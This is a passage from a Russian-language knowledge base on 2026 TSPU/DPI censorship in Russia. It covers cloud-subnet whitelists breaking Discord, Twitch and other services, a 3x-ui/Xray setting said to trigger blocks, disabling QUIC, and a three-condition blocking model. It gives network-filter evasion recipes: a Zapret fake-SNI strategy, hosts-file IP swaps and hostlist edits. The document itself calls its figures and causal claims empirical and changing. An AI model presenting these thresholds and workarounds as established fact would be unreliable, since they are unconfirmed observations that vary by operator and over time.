нельзя, пока он там. Так и Discord/Twitch: их «угол» — в облаке Cloudflare или Amazon, и когда перекрывают облако, перекрывается и они. Из этого следует важное: **«поломка» Discord-видео или Twitch — не признак, что взялись именно за них.** По сообщениям профильных ресурсов, в бан шли **все подсети**, в том числе Cloudflare, Amazon и другие крупные; затронутая часть Discord (видео/медиа) попала под раздачу именно потому, что хостится на задетом облаке. ## От «серых списков» к «белым»: что изменилось Ключевое изменение — в **логике** фильтра, и его стоит понять отдельно. - **Раньше — «серый список».** Блокировалось выборочно: либо заведомо запрещённые ресурсы, либо то, что не относилось к известным «нормальным» подсетям. Всё остальное по умолчанию **пропускалось**. - **Теперь — «белый список».** На «подозрительных» облачных диапазонах по умолчанию рубится **всё**, и наружу пропускается только то, что **явно разрешено** (внесено в белый список), — конкретные сайты или их «фейки» (поддельные SNI, которыми притворяется обходной трафик). > [!important] Почему цензору это выгодно > Модель «блокируй всё, кроме разрешённого» **проще для оборудования** и **надёжнее закрывает** нежелательное: не нужно вести и постоянно обновлять огромный чёрный список — достаточно держать сравнительно короткий белый. Поэтому переход к белым спискам выглядит логичным шагом, а не случайностью. Обратная сторона — массовый сопутствующий ущерб: любой ресурс на том же облаке, не попавший в белый список, перестаёт открываться. Этот же механизм объясняет, почему во время сбоев на 23 июня 2026 одни ресурсы внезапно открывались, а другие отваливались: перетряхивали именно **списки исключений/разрешений** для облачных подсетей. Подробная хроника — в [[tspu-whitelist-cloudflare-june-2026|инциденте 23 июня 2026]]. ## Почему именно Cloudflare и Amazon (и при чём тут WARP) - **Cloudflare** — на его инфраструктуре работает множество обходных и VPN-сервисов, в том числе **WARP** (VPN от Cloudflare). Одна из версий: подсети Cloudflare давят, **пытаясь мешать WARP и подобным туннелям**. Сами авторы наблюдений считают это **маловероятным основным мотивом** — слишком велик сопутствующий ущерб, — но как один из факторов не исключают. - **Amazon / CloudFront** — здесь мотив ещё менее понятен: по наблюдениям, эти подсети «нигде толком не использовались» в обходных фейках, и зачем за них так держатся — неясно. Тем не менее под блок они тоже попали, и вместе с ними — сервисы на AWS/CloudFront (например, видеоинфраструктура Twitch). > [!note] Почему результат «плавающий»: замедление по IP и роль DNS > У части ресурсов **одни IP заблокированы/замедлены, другие — работают**, и какой достанется, зависит от DNS-резолвера (подробно — в [[tspu-whitelist-cloudflare-june-2026#Почему «половина адресов работает, половина — нет» и при чём тут DNS|разделе про DNS в инциденте]]). Практический вывод тот же: иногда достаточно **перенаправить домен на другой, незамедленный IP** того же провайдера — и ресурс начинает работать, хотя домен и стратегия не менялись. ## Тонкость: белый список привязан к провайдеру и устаревает Белый список — это не просто «домен разрешён», а связка **домен + конкретные IP/подсеть провайдера**. Если сервис переезжает с одного облака на другое, старая запись указывает на **прежнего** провайдера и перестаёт совпадать с реальностью: домен оказывается «разрешён там, где его уже нет, и заблокирован там, где он теперь живёт». > [!example] DeepSeek: разрешён для старого Cloudflare, заблокирован для актуального Amazon > По наблюдениям, `chat.deepseek.com` ведёт себя ровно так. Если вручную привязать его к **старым** IP Cloudflare, на которых он сидел раньше, — **RST не прилетает, разрыва нет**, но сайт всё равно не отдаётся: приходит ошибка Cloudflare (сервиса там уже нет). А на **актуальном** Amazon, где DeepSeek живёт сейчас, он заблокирован. Вывод наблюдателей: РКН **разрешил** `chat.deepseek.com`, но по устаревшей информации — **только для Cloudflare**, а для нового Amazon разрешение не выписали. Это «кривая привязка»: белый список не поспел за переездом сервиса между облаками. Тот же корень и у эффекта «ручные исключения пропали»: всё, что операторы заносили в разрешённое вручную, при перетряске списков слетело или перестало совпадать с актуальными адресами провайдеров. ## Как это бьёт по конкретным сервисам - **Discord** — отвалились текстовые чаты и картинки (медиа-инфраструктура на задетых облаках). Что чинить и в каком порядке — в [[tspu-whitelist-cloudflare-june-2026#💬 Discord: отвалились чаты и картинки|разделе про Discord]]. - **Twitch** — `CONNECTION_RESET` на видео; пострадал HLS-домен раздачи видео `cloudfront.hls.ttvnw.net` (CloudFront/AWS). Характерная деталь: проверочные сайты вроде `twitch-check.rte.net.ru` могут показывать «всё работает», потому что проверяют основной домен, а сломана именно **отдельная видеоподсеть**. Решение и полная история — в [[twitch-block-2026|отдельной заметке про Twitch]] (и кратко ниже). - **YouTube** — по сообщениям, тоже лихорадило в те же часы; механика та же (облачные подсети + троттлинг). - **OpenStreetMap** — `openstreetmap.org` периодически резолвится на `151.101.1.55` (Fastly), который в блоке; отсюда «то работает, то нет». Тянется ещё с марта — начала апреля 2026. - **7TV** (эмоуты для Twitch: `7tv.app`, `7tv.io`, `api.7tv.app`; хостинг Hetzner) — заблокированы **3 из 4 IP**: `95.217.169.88` и `95.217.169.233` полностью, а на `65.109.41.220` не проходит ClientHello (рабочий «белый» SNI подобрать не удалось). У части пользователей `7tv.app` при этом **работает по QUIC** — проверьте, покрывает ли ваша стратегия QUIC. Похоже на триггерный «16к-блок» (срабатывает на соединение). Рецепт обхода — ниже. ## Что с этим делать (обход) Поскольку режется подсеть/адрес, а не имя сайта, упор смещается с «подобрать сплит» на три приёма: 1. **Вернуть домен сервиса под обработку (в «общий» список), убрав его из исключений.** Если домен раньше был в списке-исключении (его не трогали, считая «и так разрешённым»), а теперь разрешение слетело — его нужно вернуть в обрабатываемые, чтобы Zapret снова применял к нему [[desync|дурение]] (фейк с «хорошим» SNI и т.п.). 2. **Подменить IP на незаблокированный/незамедленный** адрес того же провайдера через [[Что такое файл hosts|hosts]] — работает, если у ресурса много адресов и не вся подсеть закрыта. 3. **Уйти в VPN/прокси** — самый надёжный путь, когда режут именно IP/подсеть и манёвра с адресами нет. Подробные пошаговые рецепты под каждый случай — в [[tspu-whitelist-cloudflare-june-2026#Как это чинить|разделе «Как это чинить»]] инцидентной заметки. > [!tip] Рабочий рецепт для 7TV (по сообщениям) > Совмещение приёмов 2 и 1 — подмена IP на чистый адрес Hetzner плюс «белый» SNI. В [[Что такое файл hosts|hosts]] прописать `95.217.175.63 7tv.app`, плюс стратегия Zapret 1: > ``` > --dpi-desync=fake --dpi-desync-fake-tls-mod=sni=gitlab.archlinux.org --dpi-desync-fooling=ts > ``` > Здесь `sni=gitlab.archlinux.org` — «хороший» разрешённый SNI, которым притворяется ClientHello, а `fooling=ts` — подделка timestamp в пакете-обманке. Помогает не у всех (зависит от того, какой IP/SNI у вас «чистый»), но показывает логику: дать незаблокированный адрес и притвориться разрешённым именем. > [!tip] Рабочее решение для видео Twitch (по сообщениям) > Для сборок на основе хостлистов (Flowseal `zapret-discord-youtube`): **удалить `ttvnw.net` из `list-exclude`** и **добавить `cloudfront.hls.ttvnw.net` в `list-general` (или `list-general-user`)**. Смысл — вернуть видеодомен Twitch из «исключённых» в «обрабатываемые», чтобы к нему снова применялась стратегия. Помогает **не на всех стратегиях** (у автора решения заработало на `ALT11`). Полный разбор всех решений (история с апреля 2026, противоречивые рецепты, подбор стратегии) — в отдельной заметке [[twitch-block-2026|Блокировка Twitch в России (2026)]]. Источник: issue [Flowseal/zapret-discord-youtube #15298](https://github.com/Flowseal/zapret-discord-youtube/issues/15298) и [Канал для умных манулов](https://t.me/nerdpapers/3220). > > То, что сервис «лечится простым добавлением домена», и подтверждает главный тезис: его не блокировали адресно — он просто выпал из белого списка вместе с облаком. > [!quote] Наблюдение: бьёт по «своим» > Закономерность, которую отмечают: чтобы просто пользоваться нейтральными сервисами, обычным людям теперь приходится **обходить блокировки**, — тогда как те, против кого ограничения в теории направлены, обходят их без труда, а часть из них перемен даже не замечает. ## Не путать с другими «белыми списками» Слово «белый список» в теме блокировок встречается в **трёх разных** смыслах — их легко перепутать: 1. **Белый список подсетей облаков (эта заметка).** ТСПУ режут диапазоны Cloudflare/Amazon и пропускают только разрешённое; сервисы-жертвы — по касательной. 2. **Белые списки на мобильных сетях** — когда оператор при ограничении мобильного интернета (например, в период веерных шатдаунов) оставляет доступными лишь отдельные «социально значимые» сервисы. Это про мобильный доступ и другой контекст — см. [[Белые списки]] и [[В сети связи «Билайна» заработали «белые списки» (whitelist-unlock) сервисов при ограничении мобильного интернета|whitelist-unlock у Билайна]]. 3. **Конкретный инцидент 23 июня 2026** — разовая волна сбоев, когда списки исключений для облаков «слетели» и их откатывали: [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026]]. ## 📚 См. также - [[DPI/rdp-ecodpi|EcoDPI и компания РДП.РУ — «железо» ТСПУ]] — какое именно оборудование реализует whitelist-режим, и что об этом сказано в официальном руководстве производителя - [[DPI/olcrtc|OlcRTC — туннель через WebRTC-звонки]] — как обходят белый список: трафик проводят через разрешённый сервис видеоконференций - [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026]] — хроника конкретной волны сбоев и пошаговая починка по сервисам - [[twitch-block-2026|Блокировка Twitch в России (2026)]] — подробный разбор: почему не грузится плеер и как починить - [[zapret_not_working|Что делать, если Запрет не работает]] — как отличить IP-блок от DPI-блока и общая диагностика - [[symptom-not-cause|Почему «не работает» — это симптом, а не причина]] — почему смена логики DPI ≠ поломка программы - [[desync|Техники дурения]] — стратегии `--lua-desync` (fake, split, disorder), которыми возвращают доступ - [[Что такое файл hosts|Что такое файл hosts]] — подмена IP на незаблокированный адрес того же провайдера - [[Белые списки]] — другой смысл «белых списков»: разблокировка сервисов на мобильных сетях - [[DPI/mincifry-whitelist-vpn-hosting-august-2026|Белый список ЦМУ ССОП и хостеры (август 2026)]] — третий смысл: перечень корпоративных IP, освобождённых от фильтрации иностранных протоколов шифрования - [[economic-filter-foreign-channels-2026|Экономический фильтр на зарубежный трафик (2026)]] — другой рычаг: давят не сайт, а сам канал и его цену - 🔗 [Канал для умных манулов (@nerdpapers)](https://t.me/nerdpapers/3220) — наблюдения, на которых основана заметка --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/subnet-whitelist-blocking-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-11 tags: - dpi - tspu - rkn - xray - 3x-ui - xhttp - vless - howto aliases: - Ловушка 3x-ui scMinPostsIntervalMs - Почему после обновления 3x-ui всё легло - scMinPostsIntervalMs триггерит ТСПУ - 3x-ui 3.x.x блокировка link: https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/ --- # 🪤 Ловушка обновления 3x-ui: как `scMinPostsIntervalMs` триггерит ТСПУ > [!info] О чём заметка > Узкий, но коварный случай «Июньской блокировки 2026»: после обновления панели **3x-ui (веб-панель управления прокси-ядром Xray)** до ветки `3.x.x` у многих администраторов **массово отвалились соединения** — особенно на мобильных операторах. Причина не в самих серверах, а в том, что новая версия панели стала автоматически вшивать в конфиг Xray параметр `scMinPostsIntervalMs: 30`, который **сам по себе триггерит ТСПУ (Технические Средства Противодействия Угрозам)** — оборудование **DPI (Deep Packet Inspection, глубокий анализ пакетов)** Роскомнадзора. Здесь — что это за параметр, почему он попадает под фильтр и как починить. Общая картина блокировки (И-триггер из трёх условий) — в обзорной заметке [[DPI/tspu-false-blocks-june-2026|про «Июньскую блокировку 2026»]]. > [!warning] Статус данных > Связь параметра `scMinPostsIntervalMs: 30` со срабатыванием ТСПУ — это **эмпирическое наблюдение** из разбора eByeBots (7 июня 2026): «опытным путём доказано, что именно это ограничение мгновенно триггерит алгоритмы ТСПУ на мобильных сетях». Это **не официальная документация** и не подтверждённая разработчиками Xray причинно-следственная связь; объяснение «почему» (через поведенческий признак частоты) — реконструкция, а не утверждение eByeBots. Параметры фильтра различаются по операторам и регионам и со временем меняются. Перед откатом версии сделайте резервную копию конфигурации. ## TL;DR - **Симптом:** после обновления **3x-ui до ветки `3.x.x`** прокси (например, на протоколе **VLESS** — лёгком прокси поверх Xray) на транспорте **XHTTP (маскировка трафика под обычный HTTP, ранее назывался SplitHTTP)** начали массово блокироваться, особенно на мобильном интернете. - **Причина:** панель стала автоматически добавлять в конфиг ядра Xray два параметра — `"scMaxEachPostBytes": "1000000"` и **`"scMinPostsIntervalMs": "30"`**. Именно `scMinPostsIntervalMs: 30` — минимальный интервал между **POST-запросами (HTTP-метод, которым клиент отправляет данные на сервер)** — **разрешает** слать их уже через 30 мс после предыдущего, то есть очень часто при активной передаче. ТСПУ ловит эту «суетливость» как признак туннеля. - **Почему это триггер:** частые короткие POST делают поведение туннеля «машинным» — это родственно поведенческому признаку **«частоты»**, на котором стоит третье условие И-триггера ТСПУ. Строго оно считается по числу новых TLS-сессий к одному адресу (см. обзорную заметку), но «суетливый» транспорт питает тот же сигнал. - **Фикс:** вручную **вырезать** `scMaxEachPostBytes` и `scMinPostsIntervalMs` из конфига — на сервере (вкладка «Расширенный шаблон») и из клиентских ссылок (блок `Extra`). Если не помогло — **откатить панель до стабильной `2.9.4`**. ## Что такое 3x-ui и XHTTP - **3x-ui** — популярная веб-панель для управления сервером **Xray (ядро прокси, на котором работают VLESS, VMess, Trojan и др.)**. Через неё админ заводит пользователей, генерирует ссылки-подключения и правит конфиг, не залезая в JSON руками. - **XHTTP** (ранее SplitHTTP) — один из **транспортов Xray**: он маскирует трафик прокси под обычный HTTP-обмен, разбивая поток на серию HTTP-запросов (в том числе **POST** — метод отправки данных от клиента к серверу). Маскировка под HTTP помогает против **DPI** — но только пока поведение запросов выглядит «человеческим». > [!example] На пальцах > Представь курьера, который носит письма (данные) через проходную (ТСПУ), маскируясь под обычного посетителя. Пока он ходит **спокойно**, охрана не реагирует. Но если разрешить ему слать письма **уже через 30 миллисекунд** после предыдущего — при потоке данных он начинает мелькать в проходной по 30+ раз в секунду. Никакой обычный посетитель так не делает; охрана опознаёт «слишком частый» паттерн и блокирует. `scMinPostsIntervalMs: 30` — это и есть снятый тормоз, который позволяет курьеру бегать как можно чаще и выдаёт маскировку. ## Почему именно `scMinPostsIntervalMs: 30` опасен `scMinPostsIntervalMs` задаёт **минимальный интервал (в миллисекундах) между POST-запросами**, которыми клиент отправляет данные на сервер в режиме XHTTP. Это **нижний порог** (троттл), а не форсированный темп: значение `30` не *заставляет* слать POST каждые 30 мс, но **разрешает** делать это уже через 30 мс после предыдущего — то есть до ~33 запросов в секунду на пике отдачи. При активной передаче клиент упирается в этот разрешённый максимум, и поведение становится «суетливым». Для ТСПУ это выглядит как **поток частых однотипных запросов к одному адресу** — поведение, по которому фильтр отличает машинный туннель от обычного браузинга. В терминах И-триггера «Июньской блокировки» это близко к **третьему условию (частота)**. Важная оговорка: строго третье условие модели измеряется по числу **параллельных TLS-сессий** к одному имени хоста за окно времени, а POST-запросы XHTTP идут **внутри** уже установленных сессий — поэтому «частые POST → третье условие» это **реконструкция механизма**, а не дословное утверждение источника. Эталон eByeBots даёт лишь эмпирический факт: с `scMinPostsIntervalMs: 30` ТСПУ срабатывает. Парный параметр `scMaxEachPostBytes: "1000000"` задаёт **максимальный** размер одного POST (1 МБ) и вшивается панелью заодно; триггерной роли эталон ему **не приписывает** — «опытным путём доказано» срабатывание именно от `scMinPostsIntervalMs: 30`. > [!note] Почему «на мобильных» > По наблюдениям eByeBots эффект сильнее всего на сотовых операторах. Это согласуется с тем, что параметры ТСПУ «плавающие» и зависят от оператора и региона: на одних сетях порог частоты жёстче, на других — мягче. Поэтому один и тот же конфиг может работать на домашнем провайдере и падать на мобильном. ## Как починить > [!tip] Главное > Нужно убрать из конфигурации навязанный обновлением «слишком частый» интервал POST — тогда поведение XHTTP-транспорта перестаёт пробивать порог частоты. - [ ] **Сделать резервную копию** текущего конфига Xray и клиентских ссылок. - [ ] **На сервере** открыть в 3x-ui вкладку **«Расширенный шаблон»** (Advanced Template) и **удалить строки** (это фрагмент внутри настроек XHTTP-транспорта, а не самостоятельный JSON): ```text "scMaxEachPostBytes": "1000000", "scMinPostsIntervalMs": "30" ``` - [ ] **В клиентских ссылках** убрать эти же параметры из блока `Extra` (иначе клиент продолжит слать частые POST, даже если сервер их не требует). - [ ] **Перевыпустить/обновить ссылки** у пользователей и переподключиться, проверить доступность на мобильном операторе (где симптом проявлялся сильнее всего). - [ ] **Если не помогло — откатить (даунгрейд) панель 3x-ui до стабильной версии `2.9.4`**, в которой эти параметры не вшиваются автоматически. > [!warning] Оговорка > Это лечит **поведенческий** признак (частоту POST-запросов XHTTP). Если ваш прокси режется по **другому** условию И-триггера — по подсети сервера или по TLS-отпечатку (например, `fingerprint: chrome` в REALITY) — правка `scMinPostsIntervalMs` не поможет, нужны меры из соответствующих заметок. Параметры фильтра меняются: значения, безопасные сегодня, могут попасть под правило завтра. ## Источники | Источник | Дата | Что отсюда взято | |---|---|---| | [eByeBots — технический разбор «Июньской блокировки 2026»](https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/) | 7 июня 2026 | Сам факт ловушки в 3x-ui `3.x.x`, параметры `"scMaxEachPostBytes": "1000000"` и `"scMinPostsIntervalMs": "30"`, эффект на мобильных сетях, фикс (вырезать строки из «Расширенного шаблона» и блока `Extra`, откат до `2.9.4`). | ## 📚 См. также - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты: «Июньская блокировка 2026»]] — обзор И-триггера из трёх условий; этот случай — пробитие **третьего** условия (частота) кривым параметром транспорта. - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — почему DPI смотрит на поведение соединения, а не на содержимое; выбор транспорта и фингерпринта. - [[DPI/tspu-http2-tls12-fix|HTTP/2 Only + TLS 1.2 против ТСПУ]] — тот же поведенческий признак «частоты», но со стороны обычного сайта. - [[VPS/3X-UI API|3X-UI API]] — управление 3x-ui программно. --- --- date: 2026-06-11 tags: - dpi - tspu - rkn - quic - http3 - chrome - howto aliases: - Отключение QUIC в Chrome против ТСПУ - chrome flags enable-quic Disabled - Почему сайт зависает на HTTP/3 - QUIC HTTP/3 таймаут ТСПУ link: https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/ --- # 🚫 Отключение QUIC (HTTP/3) в браузере как обход таймаутов ТСПУ > [!info] О чём заметка > Простой клиентский приём времён «Июньской блокировки 2026»: если сайт или сервис **зависает по таймауту**, а проблема похожа на работу **ТСПУ (Технические Средства Противодействия Угрозам)** Роскомнадзора, помогает отключить в браузере протокол **QUIC** (современный транспорт поверх UDP, на нём работает **HTTP/3** — третья версия протокола веба). Делается одним флагом: `chrome://flags/#enable-quic` → **Disabled**. После этого браузер общается с сайтами по классическому **TCP (Transmission Control Protocol — «диалоговый» транспорт с установкой соединения)**, который оборудование фильтрации обрабатывает предсказуемо. Это **клиентская** мера (для пользователя, не владельца сайта); другие клиентские приёмы и общая картина блокировки — в заметках ниже. > [!warning] Статус данных > Совет отключать QUIC — из разбора eByeBots (7 июня 2026): «QUIC работает поверх **UDP (User Datagram Protocol — «бесконтактный» транспорт без установки соединения)** и часто некорректно обрабатывается системами **DPI (Deep Packet Inspection, глубокий анализ пакетов)**». Это **эмпирическое наблюдение**, а не официальная позиция: QUIC ломается не всегда и не у всех — зависит от оператора, региона и конкретного сайта. Приём **возвращает доступность**, но не «обходит блокировку запрещённого» — он лишь уводит трафик с проблемного UDP-транспорта на привычный TCP. ## TL;DR - **Симптом:** сайт/сервис, поддерживающий **HTTP/3**, грузится через раз или виснет по таймауту — при том что в другом браузере или после перезагрузки иногда открывается. - **Причина:** **QUIC** (транспорт, на котором работает HTTP/3) идёт **поверх UDP**, а **DPI** ТСПУ обрабатывает UDP **хуже и непредсказуемее**, чем TCP — часть UDP-потоков молча режется, давая таймауты. - **Фикс (Chromium-браузеры):** `chrome://flags/#enable-quic` → **Disabled** → перезапуск. Браузер перестаёт использовать HTTP/3 и общается по TCP (HTTP/1.1 или HTTP/2). - **Цена:** небольшое возможное замедление на сайтах, где QUIC реально ускорял загрузку. На доступность контента это не влияет — TCP-версия того же сайта работает. ## На пальцах: почему UDP «спотыкается» о DPI > [!example] Аналогия > **TCP** — это как заказное письмо с уведомлением: отправитель и получатель ведут чёткий «диалог» (установили связь, подтвердили каждый кусок). DPI годами учился читать именно такой диалог и знает, что с ним делать. **QUIC поверх UDP** — это как бросать открытки пачкой без подтверждений: быстро, но непривычно для «почты». ТСПУ, не умея аккуратно разобрать такой поток, на всякий случай **придерживает часть открыток** — и для пользователя это выглядит как «сайт завис». Технически: TCP — **stateful** (соединение с понятным состоянием: установка, передача, разрыв), и DPI умеет отслеживать его этапы. QUIC прячет почти всю свою логику внутрь шифрованного UDP, у которого на сетевом уровне **нет состояния соединения**. Системе фильтрации проще «на всякий случай» дропать непонятный UDP к подозрительным адресам, чем разбирать его, — отсюда таймауты именно на HTTP/3, тогда как TCP-версия того же сайта проходит. ## Как отключить QUIC > [!tip] Для Chromium-браузеров > Приём работает в Chrome, а также в браузерах на том же движке — Brave, Opera, Яндекс.Браузер (путь к флагам может слегка отличаться). - [ ] Ввести в адресную строку: `chrome://flags/#enable-quic` - [ ] Переключить флаг **Experimental QUIC protocol** в положение **Disabled**. - [ ] **Перезапустить браузер** (кнопка Relaunch). - [ ] Проверить проблемный сайт — он должен открываться по TCP без таймаута. > [!note] Firefox > В Firefox HTTP/3 отключается иначе: на странице `about:config` параметр `network.http.http3.enable` → `false`. Сам Firefox при этом и так использует **другой TLS-отпечаток (TLS — Transport Layer Security, протокол шифрования; «отпечаток» — слепок параметров его рукопожатия)**, поэтому часть блокировок по фингерпринту его не касается (см. заметки ниже). ## Когда это помогает, а когда нет > [!warning] Границы применимости > - Помогает, если симптом — **таймауты именно на сайтах с HTTP/3** и TCP-версия того же ресурса работает. Отключение QUIC уводит трафик на TCP и снимает проблему UDP-транспорта. > - **Не поможет**, если сайт режется по другому признаку «Июньской блокировки» — по **подсети** дата-центра или по **TLS-отпечатку** браузера (тогда и TCP-соединение блокируется). Это другие условия И-триггера ТСПУ — см. обзорную заметку. > - Это **клиентская** мера: чинит доступ на конкретном устройстве, а не «лечит» сам сайт. Владельцу сайта нужны серверные меры. ## Источники | Источник | Дата | Что отсюда взято | |---|---|---| | [eByeBots — технический разбор «Июньской блокировки 2026»](https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/) | 7 июня 2026 | Совет отключить QUIC (HTTP/3) через `chrome://flags/#enable-quic` → Disabled; причина — QUIC поверх UDP некорректно обрабатывается DPI. | ## 📚 См. также - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты: «Июньская блокировка 2026»]] — обзор И-триггера из трёх условий; отключение QUIC — отдельная ось проблемы (UDP-транспорт), а не одно из трёх условий. - [[DPI/chrome-cnsa-flag-bypass|Обход блокировки флагом Chrome cryptography-compliance-cnsa]] — другой клиентский флаг Chrome: меняет TLS-отпечаток против блокировки по фингерпринту. - [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — случай, когда помогает не отключение QUIC, а смена браузера/отпечатка. - [[DPI/tspu-http2-tls12-fix|HTTP/2 Only + TLS 1.2 против ТСПУ]] — серверная сторона: почему владельцы сайтов, наоборот, включают HTTP/2 (по TCP), а не HTTP/3. --- --- date: 2026-06-11 tags: - dpi - tspu - rkn - tls - utls - hosting - vpn - collateral-damage aliases: - Ложные блокировки ТСПУ июнь 2026 - Сбои легитимных сайтов ТСПУ - Июньская блокировка 2026 - Массовая недоступность сайтов на хостингах 2026 - Почему не работают сайты на Beget Timeweb Selectel - Collateral damage борьбы РКН с VPN link: https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/ --- # 💥 Как ТСПУ ломает легитимные сайты: сопутствующий ущерб борьбы с VPN (июнь 2026) > [!info] О чём заметка > В начале июня 2026 у обычных, ничем не запрещённых сайтов на крупных российских хостингах (Beget, Timeweb, Selectel, SpaceWeb и др.) начались массовые перебои: страницы грузятся в 2–3 раза медленнее, не подгружаются картинки, висит «Connection timed out», отваливается доступ к серверам по SSH/RDP/ICMP. Причина — не сами сайты, а **обновление настроек ТСПУ (Технические Средства Противодействия Угрозам)** — оборудования **DPI (Deep Packet Inspection, глубокий анализ пакетов)**, которым Роскомнадзор фильтрует трафик у каждого оператора связи. Это **побочный ущерб** новой тактики борьбы с VPN: цензор ловит не отдельные IP, а *комбинацию косвенных признаков* шифрованных соединений — и обычный сайт невольно попадает под все её условия. ИТ-специалисты назвали схему «Июньская блокировка 2026» (в диагностических утилитах этот тип ограничений помечают как «Siberian»). Здесь систематизированы причина, триггер, диагностика и что делать владельцу сайта. Механизм самого триггера со стороны обходных средств разобран в парной заметке [[VLESS/dpi-tls-june-2026|про схему ограничений июня 2026]]. > [!warning] Статус данных > Описание триггера — это **результат реверс-инжиниринга** DPI-систем (модель «трёх условий» впервые описал исследователь **Пётр Осетров (@hyperion_cs)** на Хабре, дополнил разбор eByeBots от 7 июня 2026). Конкретные числа (порог «>3 TLS-сессии за 60 секунд», задержка «<20–50 мс», заморозка «120 секунд», штраф «600 секунд») — **наблюдения исследователей**, и параметры **различаются от оператора к оператору, от региона и со временем меняются**. Связь сбоев именно с борьбой против VPN — **версия экспертов и хостеров**, а не официальное признание Роскомнадзора (ведомство в марте 2026 даже опровергало перегрузку ТСПУ). Макро-цифры в разделе «Контекст» — по данным CNews. Читай числа как «по наблюдениям на июнь 2026», а не как точные константы системы. ## TL;DR - **Что сломалось:** легитимные сайты и серверы на российских хостингах стали недоступны/тормозят с **6 июня 2026** (первые жалобы — 4–5 июня). Перебои **перемежающиеся** — зависят от оператора связи, региона и браузера, проявляются не у всех. - **Почему:** ТСПУ больше **не заносит IP в вечный чёрный список**. Вместо этого под «веерный анализ» попали целые подсети и автономные системы (AS) крупных дата-центров (Selectel, Яндекс.Облако, Cloud.ru, Leaseweb, Beget и др.). - **Триггер — это И-цепочка из трёх условий** (по реверс-инжинирингу): блок включается, только когда совпали **все три** одновременно. Нарушь любое одно — и правило на тебя не сработает. 1. **IP назначения** — в «подозрительной» подсети/AS дата-центра. 2. **TLS-отпечаток** браузера — Chrome, Safari или iOS (хэш его расширений, версий TLS и шифров, который ТСПУ вычисляет из рукопожатия; формализуется как JA3/JA4 — стандартные хэши TLS-отпечатка). 3. **Поведение** — больше **3 параллельных TLS-сессий** к одному **SNI (Server Name Indication — имя хоста в открытом виде)** за **60 секунд** с задержкой между ними **<20–50 мс**. - **Наказание:** заморозка всех TLS-соединений к узлу на **120 секунд**. **Двойная ловушка:** если в момент заморозки попытаться сменить отпечаток (даже на «чистый» и разрешённый) — штраф **600 секунд** (TCP при этом проходит, а TLS — нет, что сбивает админов с толку). - **Почему бьёт по обычным сайтам:** сайт на хостинге-ДЦ (условие 1) + пользователь в Chrome (условие 2) + браузер по **HTTP/1.1** держит пул соединений на каждый хост, что на тяжёлой странице суммарно даёт десятки параллельных TLS-сессий (условие 3). Все три совпали невольно — и легитимный трафик заморожен. - **Лечится нарушением хотя бы одного условия:** сменить браузер/отпечаток на **Firefox** (условие 2); сократить число TLS-сессий — **HTTP/2** на сервере (условие 3); увести сайт на IP вне «грязной» подсети (условие 1). Плюс отключить QUIC, проверить настройки панели 3x-ui. - **Это не «сайт в реестре».** Ресурс не заблокирован юридически — ломается лишь сетевое взаимодействие. Поэтому для починки **не нужны обходные средства**, достаточно настроить параметры. ## На пальцах: почему страдают невиновные > [!example] Аналогия > Представь таможню (ТСПУ), которой приказали ловить контрабандистов (VPN). Раньше работали по чёрному списку паспортов (IP) — но контрабандисты подделывают документы, список бесполезен. Теперь таможенник тормозит человека, только если совпали **сразу три приметы**: приехал из «плохого района» (подсеть дата-центра), одет в «подозрительную форму» (отпечаток Chrome) И мечется через границу больше 3 раз в минуту (лавина соединений). > > Беда в том, что под все три приметы невольно подходит и обычный турист. Сайт арендует сервер в обычном дата-центре (примета 1), посетитель сидит в Chrome (примета 2), а браузер, открывая страницу, делает не один «проход», а десяток сразу — грузит html, картинки, стили, скрипты (примета 3). Все три совпали — и честного человека «тормозят» на 2 минуты. Это и есть сопутствующий ущерб: правило писали под VPN, а сработало по обычному сайту. ## Таймлайн событий | Дата (2026) | Событие | |---|---| | **4–5 июня** | Проблемы с недоступностью сайтов и серверов на российских хостингах становятся известны (первые массовые жалобы). | | **6 июня** | Обновление настроек ТСПУ — точка отсчёта сбоев по версии хостеров и экспертов. | | **7 июня** | eByeBots публикует технический разбор «Июньской блокировки 2026», дополняя более раннюю реверс-инжиниринг-модель Петра Осетрова (@hyperion_cs). | | **9 июня** | CNews: АО «ДЦОА» (интегратор ТСПУ) объявляет закупку на 1,31 млрд руб. на ≥154 сервера — расшивать дефицит мощностей фильтрации. | | **9–10 июня** | Хостеры (Selectel, Beget, Timeweb) публично подтверждают сбои и связывают их с новыми правилами ТСПУ; выходят разборы на 3DNews, Хабре, в СМИ. | ## Что именно наблюдают пользователи Симптомы **перемежающиеся** и зависят от провайдера, географии и браузера (не у всех и не всегда): - Сайты грузятся в **2–3 раза медленнее**, частично не подгружаются картинки и ресурсы; «вечный» `Connection timed out`. - Недоступность серверов целиком — не только HTTP/HTTPS, но и **SSH (Secure Shell, удалённая консоль, порт 22), RDP (Remote Desktop Protocol, удалённый рабочий стол Windows, порт 3389), ICMP (протокол служебных сообщений сети — на нём работает `ping`)**. Из-за пропавшего пинга владельцы думают, что дата-центр физически обесточен, хотя аварии нет. - Сбои **внутри корпоративных сетей**: CRM-системы (упоминались «РосБизнесСофт», «ПланФикс»), 